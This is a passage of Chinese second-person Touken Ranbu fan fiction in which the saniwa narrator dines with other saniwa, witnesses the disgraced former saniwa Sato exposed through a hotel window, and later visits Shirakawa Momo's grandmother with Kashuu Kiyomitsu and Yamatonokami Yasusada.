笹贯声音一出,其他刀剑男士的目光也汇聚你身上。白川的一期一振,身上的羽织也有井字蛇目家纹,你不至于认错。但当他的视线扫过你,你还是不可避免地想起自己本丸里的一期一振,感到一阵心虚。
你避开他们的目光,看向枯山水的石头造景,“没有。”
“我陪你去吧。”笹贯站起身跟在你身后。
从洗手间出来,你用冷水拍了拍脸,试图让头脑更清醒。撇过头,你看到笹贯在笑。
“怎么了吗?”你一边擦脸一边问。你在洗手间的镜子里没有看到任何异常。
“啊,怎么说呢?”笹贯的笑意加深,“是我的错觉吧?主君是喝了什么好东西吗,嘴角就一直没有放下来过呢。”
你擦拭的动作顿了顿,“是吗,也许是因为看到你没有被别的审神者拐跑,所以安心了吧。”
笹贯笑得更开心了,“哈哈哈,主君竟然说这种话吗?”
就在你准备继续回答的瞬间,一个身影从走廊的拐角处一闪而过。
你猛地眨了眨眼,几乎以为是幻觉。
那个侧脸,那个身形……
那似乎是佐藤。
26.第二十六章
说实在的,你其实并不在乎佐藤这个人。从第一面见到他起,你就想着迟早要把他做的事全部报复回去。
如果能咒杀他……不行。你摇摇头放弃这个想法,况且你也没有学过伤害他人的咒术,只是恰巧会一点点解咒的皮毛而已。
玻璃幕墙外灯火璀璨,勾勒城市轮廓。和巨杉树不同,这副场景虚无缥缈,无法触碰,带来无法链接的惆帐。你不禁为自己只是个普通人暗自神伤。
不论如何,对方是时之政府公务员,这事得从长计议。
但问题是……你回忆刚才一闪而过的身影,眉头不自觉皱起。如果那个身影属于佐藤,他竟然看上去心情很开心。是发生什么了吗。
他为什么会出现在这里?在这个审神者聚集的夜晚,你无法把这解释成巧合。
穿着金红色喇叭裤的身影消失在电梯间处。
笹贯用手指在你脸颊一戳,温热的触感将你拉回现实。你眨眨眼睛,“我没事。”
你挤出微笑安慰他后,和笹贯并肩往回走。走廊顶上是巨大的灯笼,像是月亮被人类捕入房间,搭配暗色哑光地板,走在走廊上和走在街道上别无二致。路上遇到两位戴“増”和“白式翁”能面的人。你下意识把手按在枪套上,心跳加速,随后装作检查腰带的松紧,掩盖自己的紧张。
你没想到身体会无意识做出这种举动,也许联队战发生的事还留在潜意识中。
走廊七扭八拐,有些包间没有关门。透过半开的拉门,金黄的灯光下,审神者们在不停的喝酒,一些审神者在抹眼泪。
你后知后觉意识到一些审神者会有“战后心理创伤”。看到他们的样子,你第一个念头是松了口气,原来大多数审神者并不是天生就是铁打的。
人和刀真像,多上战场,就能变得更加坚强。你没有察觉这个念头有什么不对,找到变强的方法开心不少。
转入熟悉的走廊,三日月他们的桌子上多了几碟毛豆、冷豆腐和炸鱼饼,烛台切开心的招呼笹贯过去。笹贯眼睛一亮,向你告别后步伐轻快地返回原位。
你回到包间,隔着纸门你能听见包间里传来细微的说话声,你说出“打扰了。”拉开拉门。
一股混杂酒、烤肉、花香的气味扑面而来。十叠榻榻米大小的地板上铺满樱花花瓣。餐桌桌面上多了更多啤酒杯,喝光的啤酒杯被随意放在地上。
有其他人来过?
你把视线投向白川,她正仰头喝啤酒,白皙的脸颊在酒意和灯光下透出淡淡的粉红。注意到你的目光,她嘴角勾起一抹狡黠的笑。
“哦,林君。”白川看出你的不解,招呼你落座,“这是「樱吹雪」哦,很正常啦。”她用下巴往咲茉的方向指了指。
咲茉专心致志挖炼乳草莓沙冰。一口自己吃,一口分给长谷部。长谷部身下的樱花花瓣厚厚一层。
白川的嘴角也沾有草莓汁混合炼乳的粉色痕迹。你用食指点点自己嘴角对应的位置提醒她。
她看到你的动作,环抱手臂,饶有兴致地端详你一会后说,“什么也没有。”随后慢条斯理地将嘴角的甜迹舔去。
桌子上的餐点没有沾染樱花花瓣,你索性把这当做氛围装饰。
“有看到什么在意的审神者吗?”吉一的声音响起。它把头枕在巴形的手掌上,惬意地舒展着翅膀,爪子上还抓着一颗草莓,“现在已经快八点了,可以和心仪对象备战下一轮咯。”
你把拳头抵在嘴边,遮住上扬的嘴角,摇头轻笑。那种奇怪的感觉又出现了,仿佛被卷入一个格格不入的家庭聚会。不过你并不觉得他们像家人。如果要说家人,你记忆里只有奶奶一人而已。
“啊,真可惜!”吉一不满的大叫,鹦鹉特有的腔调拉长,“年纪大了,就是爱看年轻人这些酸酸甜甜的东西啊!”
吉一估计微醺了,扑腾一下翅膀,连翅膀尖端浸入碟子里的酱汁也没有发现。它的巴形将烤制好的牛舌切成小块,耐心地喂给它。
咲茉从草莓沙冰中抬头,“吉一叔叔不管吃多少,肚子都不会变大呢。”
“因为——我是无敌鹦鹉!”吉一骄傲地挺起胸膛,随即懒洋洋地躺回去。
“说起来……”它砸吧嘴,“这次是谁的家族出面调整地点的?这里的烤肉也太好吃了。”
“咲茉……”
“不知道呢,估计是个有钱人吧。”白川打开自己的扇子,观看上面的红色图案。
四个人的点餐风格全然不同,吉一和白川大多数时间都在灌酒,没有怎么动过面前的食物;靠近你的一侧摆放温泉蛋饭、牛肉塔塔等主食;而咲茉那边则是布丁、海鲜一类等柔软食物。
你观察着咲茉身边体贴的长谷部,和吉一旁边纵容的巴形。如此看来,当和不同审神者的刀剑男士共处一室时,他们与存粹人类的差异就会显现出来。刀剑大多遵从主人的意志行事,他们的性格,喜好,甚至是细微的习惯都烙印着主人的影子。
这让你产生种奇特的错觉:刀剑仿佛是主人“自我”的延伸。那么,和刀剑们打交道,某种意义上 是不是也在和审神者本人的内在进行交流?
在短暂的安静后,吉一忽然转过金色的眼珠。“话说,林君。”它的声音带着酒后的含混,“刚刚那个笹贯,是你本丸的刀吗?”
“诶?是的。”你有些意外它会提起笹贯。
“真奇怪。”吉一没头没脑地嘟囔一句,把头转向白川,用一种“你懂吧”的眼神看着她。
白川没有接话,还在对着灯光,端详扇面上繁复的红色纹路。
“扇子怎么了吗?”你打破这片刻的僵局。
“在看一些……很有意思的地方。”白川露出意味深长的笑。
“咲茉也想看!”小女孩的好奇心被勾了起来。
“不行哦。”白川“唰”地合上扇子,“小孩子不该看这些。而且,小咲茉应该回家睡觉了吧。明天还要上学吧?”
“咲茉不要上学……咲茉在本丸学习。”女孩不满地鼓起脸颊。
“咲茉大人说得对,现世那些乱七八糟的学校没有去的必要。”压切长谷部立刻附和。
这段插曲后,你觉得吉一醉醺醺的眼睛还在一直盯着你。
“怎么了?”
“嗯~”吉一咯咯咯的笑起来,“林君身上有种很奇怪的感觉。”
你把手贴在胸口,“是我太沉默了?”
“不,不是那个……”鹦鹉的脑袋歪了歪,似乎在努力组织语言。但它最终放弃了,翅膀无力地耸拉下来。
“也许只是小生喝醉了,眼睛糊涂了而已!哈哈哈!”
它用一阵大笑潦草地结束了这个话题。
你还没仔细思考,白川就将所有人的注意力引向更爆炸性的话题。“说起来,最近有流传那种事吧,关于‘暗堕本丸’的。”
你的心脏猛然一缩,想起小乌丸和刀剑男士们那封联名信。自己继任的本丸在万屋街上也曾被冠以“暗堕”的流言。
“暗黑本丸……最近好像是有一个。”一提到这类八卦话题,吉一的声音立刻提高八度。
你竖起耳朵,语气故作平淡,“也许只是传言也说不定。”
“不是哦。刚才不是说有实习生架空本丸的事嘛!”吉一滑稽地抬起一条腿,放在鸟喙前咳嗽,“那么我现在要说的,就是实习生神秘失踪的案件了!”
长谷部伸出手掌,捂住咲茉的耳朵,将她与这诡异话题隔绝开。
“据传有一个本丸,进去的刀剑和审神者都会神秘失踪,一个不留。”
听到这里,你松口气,还好不是说你本丸的事。“等等……如果全部人都失踪,那么这个传闻是怎么出现的?”
“审神者可是时之政府宝贵的战力,你觉得他们会不会时时监控审神者的一举一动?”吉一的脸上浮现出不符合鹦鹉脸部结构的冷笑。“啊,那个本丸可是连时之政府也感到棘手,所以在上个月前就把那座本丸封锁了。唯一的情报是,据说那座本丸的审神者逃了出来,但至今下落不明。”
你粗略分析吉一话里的信息。如果那座本丸的审神者还活着,那么怪谈的源头传播者应该就是审神者本人。但他或者她目前处于“隐藏”的状态,那么……是时之政府故意放出这个传闻吗?
你不安地皱眉,“为什么会出现‘暗堕本丸’?”
“最常见的原因,是审神者的问题吧。”白川的语气有些落寞,她垂下眼帘,摇晃杯中的酒液,“所谓刀剑,不过是被人挥舞的武器罢了。”
“咲茉觉得,大家都是咲茉的家人。”咲茉把自己的手放在长谷部手上,一脸认真。她身边的长谷部闻言又飘出樱花。
吉一大笑,“哈哈哈哈,诸位,还记得他们其实是付丧神吗?是神明哦!”
“总觉得很不可思议。神明真的存在。”你一边说,一边用餐刀把生牛肉塔塔放在炸薯片上。
“神不是一直存在吗?林没有去过神社?”
“我……”你再次搬出熟悉的理由,“我是外国人,对这些不太了解。”
“果然!”吉一像猜中谜底一样咯咯大笑,“我就说嘛,只有外国人才会出现你这种情况啊。”
“神社挺可怕的吧。”白川桃插话道,“我小时候就听家里人说,会有人在神社附近举行‘丑时参拜’。”
你趁机把话题引向自己想打探的方向,“我记得,也有在神社里被供奉的刀剑存在。”你故意做出苦恼的表情,“如果刀剑的神性太高,是不是必须要戴上覆面之类的东西,才能正常和他们沟通?”
“林君害怕‘神隐’吗?”白川爆发出今晚最爽朗的笑声,“别担心,刀剑们都是依靠审神者的灵力才能现世的哦。如果没有审神者灵力支持……本丸就会渐渐衰败,连万屋也去不了呢。”
“好可怜。”咲茉低声说。
“所以啊,”白川笑意不减,眼神却锐利起来,“按这种说法,岂不是人类把神明‘隐’在自己身边,是‘人隐’才对?”
你从另一个角度反驳,“但是,如果直接把审神者永远留在自己神域中,不就能获得源源不断的灵力支持了?”
白川深深地看了你一眼,“的确,这种做法也可以。”她还想说什么,但突然转变话题,“我的本丸,第一任审神者是我爷爷的兄弟。据说,他就是某一天和整个本丸的刀剑消失不见了。”
“哦!又到了我一等一喜欢的本丸怪谈环节!”吉一努力用翅膀支起身体。“虽然已经不是怪谈之夜了,姑且问一句,然后呢?”
“那时是战时初期,局势混乱。本家的推测是,他为了躲避时间朔行军的追杀,和刀剑们一起……‘回归祖灵’了。”
“‘祖灵’?”你隐约记得哪里见过这个词。
话音刚落,白川和吉一飞快地交换一个眼神,又同时看眼咲茉。在场的成年人们心神意会,自觉闭嘴。看来这个词语是像“归去”一类的说法。
餐桌上再次只剩下吃饭和喝酒的吞咽声。
白川打破了沉默,她站起身,将扇子塞入腰间的腰带,“说了这么多沉重的话题,都快忘了这里是哪里了。”她回过头,面具后闪烁着期待与戏谑的光芒。“要去露台看风景吗?”
打开包间拉门,包间内浓重的酒气和暖用被晚风吹散。白川桃领头,带着一行人一起到十二层露台吹风。
露台上三三两两地坐了一些审神者露天烤串。你站在栏杆边,俯瞰这座不夜城。
二十三世纪的东京,土地被压榨到极致,更是寸土寸金。超高密度的商业区内,两栋楼最近的距离相差不到五十米,为了最大化利用空间,诞生了许多你无法理解的畸形建筑。入夜的灯光比走入大楼时看见的更盛,宛如小说中描绘的充满罪恶与欲望的A市。
露台上夜风习习,天空不再是黑色,而是深邃温柔的蔚蓝。你一只手按住脸上的覆面防止被吹开,一只手拉紧衣襟。
“林君,冷吗?要不要披上我的羽织吗?”白川的声音在身侧响起,她一只手抚上自己的羽织,衣料在宁静的夜晚中发出摩擦的沙沙声。
等等……为什么会出现这么经典的少女漫画桥段!你摇摇头,拒绝她的好意,感觉耳尖不受控制地发烫。
也许是那杯酒的后劲还没有散去。你这样告诉自己。
你移开视线,想要借观察周围来掩饰自己的不自在,却发现周围的审神者的目光并非投向夜景,也不是欣赏露台上的装饰植物,而是不约而同地望向不远处一点。
你顺着他们的目光望去,那是一栋亮着灯光的奢华酒店。
因为东京的“北侧斜线限制”法规,建筑越靠近北边,楼层就必须越低。你们所在的这栋楼,恰好能以一个绝佳的俯瞰视角,把对面酒店的某些楼层看得一清二楚。
而那扇没有拉上窗帘的巨大落地窗,就像一个被精心布置好的舞台。
嘶——你倒吸一口凉气。这座大楼的内透也太高了吧。
对面的高级酒店里,有人在上演限制级戏码。按常理,你应该立刻、马上、毫不犹豫地挪开目
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光才是。但是——
你看到了佐藤。那个你苦思冥想要怎么报复的前任审神者。
他不是一个人。还有另外两个男人。
然而,最让你大脑宕机的,是他们此刻的姿势。那是一种应该只在某些限制级漫画里出现的姿势。
为什么……是三人叠叠乐啊!?
你感觉大脑一片空白,内心冲击到瞬间毫无波澜。
“哇——!小生今晚真是大开眼界啦!”一道沙哑的声音夸张大叫。
随着吉一的声音落下,人群被按下播放键,瞬间爆发出嗡嗡的议论声。吉一兴奋地在空中扑腾飞舞,它的巴形立刻追上去试图把它带回。
压切长谷部和烛台切光忠同时开口,“主君/咲茉大人,我们去其他楼层逛逛吧。”两人一人一边,迅速把身高被围栏挡住的咲茉抱开,快步远离这“是非之地”。
“诶,那个人……不是高桥主管吗?”
“还有那个!是「内部育成」的……”
周围有些好奇的审神者已经有人毫不忌讳地举起手机,似乎在录下这珍贵的“证据”。
你只是目瞪口呆的站在原地。
“呵呵,真是看到了不得的东西了。”一道声音在你身侧响起。随即冰凉的手掌覆盖在你眼睛上,隔绝了那片不堪入目的景象。
你不用回头也知道是三日月。
“比起那些污秽眼睛的东西,”他用另一只手轻轻揽住你的肩膀,将你转向另一侧,面对着开阔的夜空,“还是多看看天上的月亮吧?”
他的声音带着干涩的笑意,显然三日月也看到对面楼上演的荒唐一幕。看到自己的前任主君这种画面,他的表情也要绷不住了。
“我感觉……我会长针眼了。”你感觉轻飘飘的,想控制自己的表情,嘴角却忍不住疯狂上扬。
远处人群的喧嚣被风吹的断断续续,像是另外一个世界的潮音。
你突然想起,联队战前白川桃发送的那条消息:「也许会看到有趣的东西。」
当时的不解此刻豁然开朗。
“真有情趣呢,那些大人们。”白川桃站在人群外,语气随意得仿佛在评论天气。夜风将她的发尾吹向一边,看不清她此刻的表情。
你望向三日月,三日月拉了拉还处于震惊的笹贯走到一边。白川也示意自己的一期一振留在附近。你们走到远离人群的露台一侧。
“白川前辈,您知道些什么,对吗?”
“我只知道,我自己知道的事。”白川转过身,语焉不详地笑了笑。
你想起最初来聚会的目的,原本想借助平安老刀和资历较深的笹贯帮忙周旋。但是现在你打算单刀直入。
“白川前辈和我初次见面时,您确认的重点,恐怕不是我所在的本丸,而是我本人,对吗?”
“哦?”白川把精致的折扇抵在嘴边,好整以暇地看着你。
你的心脏怦怦直跳,但思路却前所未有的清晰,“我原本以为,您是因为听说传闻中的‘暗堕本丸’有新人继任,才好奇地与我打招呼。但联队战前的消息,让我感觉有些奇怪。”
“消息?”白川桃俨然不动,等待你继续说下去。
你打开自己的平板,调出论坛聊天页面,递到她面前。“是这里。”你指向联队战前的聊天记录,「那天被叫走」与「如果你想听」这两句话。
“这两句话出现的顺序……给我的感觉,就好像您早就知道,我在「总务部」会客室里与佐藤有过一次不愉快的会面。”
“是吗?”白川桃的视线在屏幕上一扫而过,依旧没有承认,只是充满兴味的看你,“也许只是巧合,聊天顺序而已。”
“是的。如果只是这样,或许是巧合。”你收回平板,从口袋里拿出那张夹在包装纸内给你的名片。“但是还有这个,上面的红色纹路,和我在会客室地板上看到的纹路一模一样。而且……”
你顿了顿,迎上白川桃的目光。
“在刚才的包间里,我也在您的扇子上也看到了同样的纹路。”
白川桃沉默了几秒,忽然轻笑出声:“也许,我只是觉得你长得很帅气,想多了解一下而已哦?”
这突如其来的调侃让你一愣,随即你冷静地回答:“我觉得长期接触刀剑男士后,我的长相在您眼中,应该只能算平平无奇吧。”
“噗——哈哈哈哈!”白川被你一本正经的回答逗得哈哈大笑。这份笑声又淹没在审神者们看热闹的议论声中,显得既和谐又诡异。
“算了,算了,不逗你了。”她笑够了,用合起的扇子在自己手掌上拍打,“是的,我承认,我的确在‘观察’你。”
她接过你手里的名片,在你惊讶的目光中,直接按在你的平板屏幕上。平板的屏幕瞬间变黑,然后,一个纯白色的、没有任何标识的对话框弹了出来。一个绝对独立的聊天通道。
“挺有意思的吧。”她欣赏你此刻的表情,“我的咒术是可以搭建类似‘眼线’一样的标记。只要在我视线所及留下印记,就能在一定程度上‘看见’那里发生的事。”
你忍不住在心里吐槽:这完全不是咒术范围了吧,是高新科技啊!
“佐藤……现在的状况也是您做的吗?”
“不是我‘一个’人做的。”她回答得滴水不漏。
你望向喧闹的人群,想到佐藤对“新人”的病态嗜好,这里的审神者们大都是「审神者内部育成」的新人……
白川狐面后的眼睛深不见底,仿佛闪烁红色的光辉,“正确来说,我只是被一些微不足道的正义感驱使,又恰巧听说了听到佐藤在任期间那些让人不快的碎刀记录而已。”她话锋一转,“不过我需要明确一点,林君。今晚这场‘好戏’,算是送给你的见面礼。而现在,我们要谈的是一笔交易。我需要你,帮我做一件事情。”
“我?”
她的嘴唇在风中无声地动了动,通过那个加密通道,一行字显示在你的平板上。
那是个古怪的要求。
“以我目前的能力恐怕无能为力。”你皱起眉头。
“不需要你做什么,只要去见一面就行。”白川桃收回了名片,屏幕也恢复了原状。她朝你摆了摆手,转身准备离去,像一个结束了谈判的商人,“对了,别忘了回头去买最新一期的《MEET!审神者大人!》杂志哦。”
她走到露台门口,回头看了你最后一眼。晚风吹起她的长发,也把她最后的话语清晰地送到了你的耳边——
“祝你好运。”
27.第二十七章
你坐在天守阁望楼的围栏内侧,从四楼俯视本丸新换上的景趣,红色的石蒜在庭院花团锦簇,不禁想到分离。
当然,并非你准备离开本丸。只是这种联想自然而然地浮现——石蒜花在佛教中其实是祥瑞的象征,你对自己笑了笑。
也许是平日见到的石蒜花只在石缝里零落稀疏几朵,今日认真一看,的确美得像血。
电影业中有个说法:演员的人生经历会和第一个爆火的角色高度相似。那么,对审神者而言,是否同样存在着:“第一场战役将奠定其未来风格”的规律?
你觉得有可能。
正当思绪游走,巧克力红薯可丽饼里的板栗掉到天守阁入母屋的千鸟破风上。你伸长手臂,够不到那块食物。被鸟叼去还好,如果一直留下上面,搞不好会散发腐败的臭味。
千鸟破风看上去很近。
你果断将手里的可丽饼放在安全处,麻利地翻过围栏,赤着脚踩上破风的瓦片。你小心保持平衡,踩得很稳,一只手抓住围栏作为支点,另一只手尽力伸长,用纸巾把板栗仁掇起。
搞定。
你握住那颗小东西,索性在破风上坐下来,舒展双腿。从这个角度俯瞰,庭院中的石蒜花海更加震撼,仿佛触手可及。微风掠过发梢,你取回放在缘侧的可丽饼,慢条斯理地咬一口,绵密的甜香在口中扩散。
“主君——”
突然有人在下方喊你。
你俯身向下看,发现加州清光和大和守安定正仰头看着你,脸上写满惊讶。
你不由地笑了,学习胜利女神的姿态,挺直腰背,把手里的可丽饼高高举起,做了个夸张的展示姿势。风吹过你的衣角,猎猎作响。
“哦咦——!主君——太危险了!”加州清光把手放在嘴边,做出喇叭的样子,“快下来呀!”
大和守安定往北走去,很快,你听到天守阁的楼梯传来脚步声。你默默叹口气,想着得让大和守安定改改这个坏习惯。
三楼的拉门被猛地拉开。
大和守安定快步穿过空旷的房间,直径从另一侧向你走来。他眉头拧紧,蓬松的高马尾和白色围巾在身后摇晃。
“你想吃吗?”你把目光投向他,拿着可丽饼的手挂在围栏上。
加州清光跟在他身后,好奇地打量你空荡荡的房间,捡起你随意放在地上的书摞整齐。
大和守安定深吸一口气,又缓缓吐出,“主君,您为什么要做那么危险的事?”
他看上去很生气。你盯着他一会儿,感到手指间传来黏腻的触感,手上的可丽饼奶油快要融化了。你把可丽饼塞进嘴里咬下一口,顺势舔掉流下的奶油。
“哦?”你解决完食物,才慢悠悠摊开另一只手,把纸巾团里的板栗仁给他看,“我在捡这个。”
大和守安定只是快速的扫过你手里的纸团,随即抓住你的手腕。他的手臂很细,但是手掌骨节分明,用力时手指关节很明显。
你顺着拉住他的手,撑着围栏往内一翻,稳稳地落回围栏内侧。手里的可丽饼又开始倾斜,幸好上面已经没有板栗,它吧嗒一下,在木质地板上留下奶白色痕迹。
“别担心,”你蹲下身,用包裹板栗仁的纸巾,随手擦拭地板上的污渍,“联队战快结束了,你们也该放松一下。”
“主君啊~”加州清光这时才上前,拿出一方精致的手帕擦干净你的手,“真是的,您还真会把自己放在危险的地方呢?”
你任由他擦拭,目光落在他精心修剪和涂抹过的指甲上,那是一种富有光泽的渐变的红色。
“指甲油的颜色很漂亮,”你开口道,“感觉和你上次合战场上涂的不一样。”
“诶?主君注意到了!?”加州清光立即眉开眼笑,露出虎牙,开心地将双手举到你面前,“是新到的色号哦,好看吗?好看吗?”
你笑着点头,正想说什么,却感到另一道视线。你转向大和守安定,他垂下眼睛。
“安定。”你语气温和下来,但态度明确,“天守阁是我的私人空间,除了紧急状况外,没有我的允许不能随便闯入。事不过三。”
“嗯……我明白了。”大和守安定眼睛看向左边。“……您厌烦了吗?”
他的表情莫名像你以前在公园里遇到做错事的小狗。
一群人呆站着也无聊,你揉揉清光的脑袋,“好了好了,别站着了。难得你们上来,我请客。最近房间里添了个新东西。”
你拉开房间角落里一个白色大家伙的门,冷气扑面而来。
“哦!是冰箱啊。”加州清光第一个凑过来,眼中闪烁好奇的光,“怪不得主君很少去饭堂吃饭了。”
“咳咳。”你清了清嗓子,“别告诉小乌丸和一期一振。”
“里面……全部都是冰淇淋吗?”大和守安定也被吸引过来,和加州清光一起把你挤在中间。
“算是给最近辛苦种地的刀一些福利。”你从房间新进的冰箱中拿出百奇、超级杯和汽水分给两人。
清光欢呼一声,迫不及待地打开盖子。大和守安定帮你把门关好,才接过冰淇淋。
你们围坐在矮桌边,大和守安定把冰冻大麦茶倒入冰杯里,三人开始分食成堆的百奇棒。
“您对我那么细心,我果然是被爱着的吧?”加州清光眯起眼睛,一边咬冰杯的吸管,一边看着自己的手指。
障子门敞开着,秋风又起,你们宛如天空的浮云,吃着百奇棒,有一搭没一搭地聊天。浅金色的阳光斜照入三楼,空旷的卧室宛如笼罩在稀薄梦幻的午后梦境。
“说起来,”加州清光用小勺挖着冰淇淋,看向地板上随手摆放的书堆上,“主君,您最近对民俗学感兴趣吗?”
他随手抽出一本《古事记》翻开。“如果想听过去的故事,直接问我们就好了呀。”
你把拇指和食指比作一个圈,做出“OK”的手势。“明白。”
清光愣了一下,“主君要钱吗?”
“不是,是‘好的’的意思。”你笑着解释,这个小小的文化差异让你忽然有了一个想法。你放下手中的汽水瓶,拿起一旁的平板电脑,点开电子日历。
“问你们个事,”你滑动电子日历,看向身边的两人,“你们想不想去现世看看?”
“诶!?”两人同时停下吃百奇棒的动作。
“现实?不是万屋街?”加州清光声音提高。
你点头。
“只有我们去吗?”大和守安定等着你往下解释。
“当然,世上没有免费的午餐。”你压住笑意,故意板起脸,“名义上是‘社会实践活动’,慰问老人。”
两振刀面面相觑。
“哎呀,我很不擅长照顾人呢~”加州清光的肩膀塌下来。
你们三人走下天守阁,穿过廊道,往寝殿空地上去。几个短刀在空地上比赛机动,在廊柱和石灯笼之间穿梭,带起一阵阵欢快的笑声和呼喊。
不可以追逐打闹。你下意识想这么说,但话到嘴边又咽回去。是这里是本丸,不是学校。刀剑的打闹也许是他们修行的一部分。
“哇,是主君大人来啦!”
一个小巧的身影如飞鸟般从天而降,落在你身侧,把正在专注看短刀的清光吓了一跳。
“唔哇!”清光抚着胸口,抱怨道:“今剑!不要突然跳出来啊!”
“嘿嘿,”今剑发出得意的笑声,轻巧地扑到你怀里,用纤细的手臂环抱住你的腰,“抓住您啦!”
“喂,今剑,你太快啦!”浑厚的声音由远到近,岩融高大的出现在拐角,他捧着一个青翠欲滴的卷心菜。
自从在合战场里寻到今剑,岩融整个刀似乎更有活力,连种出的卷心菜都显得格外精神。
“主君今天不在本丸用晚餐吗?”听完你的计划,岩融有些遗憾地把卷心菜捧到你面前,“真是可惜,今天的卷心菜可是绝品。”
“哦?有多绝品?”加州清光好奇地凑过去,伸手想掰一片叶子尝尝。
“噶哈哈哈,不行,”岩融立刻把卷心菜举高,“这是要给主君和短刀们吃的!”
你对岩融点点头,“看起来确实很棒。拜托你们转告一期一振他们了。”
“包在我身上,主君大人,您要一路顺风!”今剑依依不舍地松开手,退后两步,用力地蹦起来挥手。
你打开时空转换器。“好了,行程安排。第一站:先去万屋购买一些像样的慰问品,第二站:二十二世纪的日本京都。准备好了吗?”
大和守安定认真地点头,而加州清光已经兴奋地讨论起来:“慰问品的话,是和果子还是土特产呢?老人家应该会喜欢实用性比较强的礼物吧……”
光芒散去,脚下传来坚实的触感。
你们显现地点在一条被赤色枫叶覆盖的森林石阶路。阳光从层层叠叠的枝叶间洒落,在布满青苔的石阶上投下斑驳陆离的光影。空气中弥漫潮湿泥土的气味。抬头望去,道路两旁是延绵不断的献灯,一路向上,仿佛指引通向神域的道路。道路不远处的铁围栏上张贴“熊出没请小心”。
“这里比本丸门口前的路平整很多。”你用脚尖试探性踩了踩石岩路面,想到第一次被狐之助带到本丸,在本丸滑溜溜的石阶上实实在在摔了几次。
“哇——”加州清光张开双臂,“这里的空气好清晰——感觉连头发都变顺滑了!”
你们沿道路往上走,一座巨大的红色鸟居矗立在前方,旁边竖着一块巨大的界碑,上面刻有“祈愿镇守安宁”。白川桃提供的地点,就在这神社的本宫附近。
“主君,不进去吗?”大和守安定已经走上几级台阶,在鸟居前的石阶站定,转身看向你。
你歪着头,“嗯……怎么说呢,我个人不太想进神社。”或许是审神者身份的奇妙斥力,你尝试往上走,但是总觉得脚步越发迟缓。
“快走吧,主君,”清光笑着跑到你旁边,轻轻推了你一下,“再磨蹭下去,小心被山里的天狗抓走哦。”
叮——
一声清脆悦耳的铃声毫无征兆地在林间响起。
“这里也有类似天守阁的摇铃吗?”你疑惑地问。
加州清光四处张望,一脸迷茫,“摇铃,这里吗?嗯……这里离本宫的赛钱箱还很远吧?”
“即使是赛钱箱的铃声也不会传那么远,”大和守安定眉头一皱,“这里……不会真的有‘山神’……”
“喂。”清光不安的打断他,往你身边靠了靠,“别说那么吓人的话啊。”
“我记得本丸的外围也是神社结构吧?也有鸟居、参道、狛犬、神门……”你努力回忆。自从来到本丸,你的活动范围基本局限于天守阁附近和合战场,就算外出也是通过时空转换器,对本丸的全貌反而模糊了。
“好啦好啦,不要在鸟居下讨论这些了,感觉对神明很不敬耶。”加州清光不由分说地拉起你的手,把你拉到参道右侧,半推半就将你带过鸟居。“出——发——!”
穿过鸟居,那股神秘的氛围似乎淡了一些。你们沿着参道继续上行,大约一刻钟后,神社本宫的轮廓终于出现在视野尽头。
一位身着白衣绯袴的年轻巫女早已等候在那里,她对你们安静地行一礼。在你们净口净手后,便引着你们绕过本宫,走向后方一条挂有“禁止通行”木牌的小路。
又沿着石路走了一段,一座古朴的日式宅邸出现在眼前。
缘侧上,身着素雅和服的白川桃正安静坐着,旁边的木质地板上放有一盘猫饭,几只胖乎乎的三花猫吃得满脸都是肉糜。
“你这次带的人挺多的嘛。”
“毕竟是来‘打工’的,人多力量大。”你半开玩笑地回答,然后侧过身,像是展示十佳员工一样,“挺可爱的吧?”
“主君真狡猾!”清光立即不满的抗议,脸颊微微泛红。大和守安定礼貌地对白川桃点头致
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“是很可爱。”在简单的寒暄之后,白川桃接过慰问品,“先进来吧,要来点樱饼吗?”
她接过礼盒,领着你们走到屋内。房子内部是传统的日式结构。
就在这时,隔间的纸门被拉开,一位头发花白,拄着拐杖的老奶奶慢悠悠地走出来。“雫,家里来客人了吗?”
“是的哦,奶奶。”白川桃的声音瞬间提高八度,语调变得格外甜美乖巧。她快步上前扶住老人,“是我的朋友来看您了。”她回头对你眨了眨眼,丝毫没有真名暴露的慌张。
“和奶奶一起吃顿饭”,这就是白川桃留言的奇怪委托之一。不过当你看到这位老人家时,你立即察觉到一丝不对劲。她的眼神有些涣散,却又带着异常的孩子气。
“我奶奶现在有点……不太认得人了。”趁着奶奶去盥洗室的功夫,白川桃收拾客厅上沙发散乱的抱枕。一只白猫从沙发夹缝里钻出来,不满地“喵呜”一声,跳到她肩膀上。
你点点头表示理解,目光不经意地扫向厨房。就在那一瞬间,你和厨房里正在解围裙的身影三目相对。那人有着标志性的独眼眼罩和一身帅气的黑色西装——是烛台切光忠。
你的心脏猛地一跳。身后的加州清光和和守安定也显然看到了,两人瞬间僵在原地。
“啊,那个啊。”白川桃仿佛没有看到你们的反应,以一种理所当然的随意口吻说,“我不太会做饭呢。大哥和大嫂今天也不回家。所以我把我们家的光忠叫来帮忙了。很方便吧?”
晚餐的氛围有些奇妙,餐桌上,白川桃的奶奶——幸,显得异常开心,尤其是对你。
“真像啊,真是太像了!”幸奶奶握着你的手,笑眯眯的拍掌,“看到你,感觉像是回到了过去一样。”
“时间在不知不觉中不停地流逝呢。”你只能微笑着应和。
幸奶奶一直在絮絮叨叨讲述着,你听出那些都是几十年前的往事,但她却用现在时的口吻说出来。“大家也多吃点吧,还是长身体的时候呢。”
加州清光和大和守安定和白川桃的烛台切礼貌又热切的交谈,你猜测他们是不是在想念本丸以前的烛台切光忠。晚餐后,三振刀剑心照不宣地一起收拾餐桌。
客厅里只剩下你和白川桃,以及在一旁打盹的幸奶奶。
“这样就可以了吗?”你看向白川桃。
“嗯,辛苦了。”白川桃伸了个懒腰,拍拍自己的脸颊。“我奶奶很久没那么开心了,她还是挺希望多认识些年轻人的。”
“不……我不是说那个……”你的目光越过她,看向客厅的墙壁,上面挂满不同年代的全家福和个人照。你的目光定格在一张独照上,一个与你长得一模一样的青年,正对着镜头微笑。
白川桃顺着你的视线望去。
“终究不是同一个人,对吧?”她说,“他笑起来比你现在开心多了。”
你从喉咙里挤出苦笑。“是啊……但知道这个世界上有个和自己长得一模一样的陌生人存在过,还真是让人毛骨悚然。”
白川桃给幸奶奶盖上薄毯,你和白川桃往玄关方向移动。
“有时候我在想,时之政府所说的‘正确的历史’,究竟是什么。”白川桃环抱手臂,倚靠在玄关墙壁边,“从时间线中拉取适格者,是不是也在改变着人的命运?”
你摸摸下巴,“我记得「审神者新人指南」里说过,在不干扰历史前进下,少许改变会被历史自动修正。”
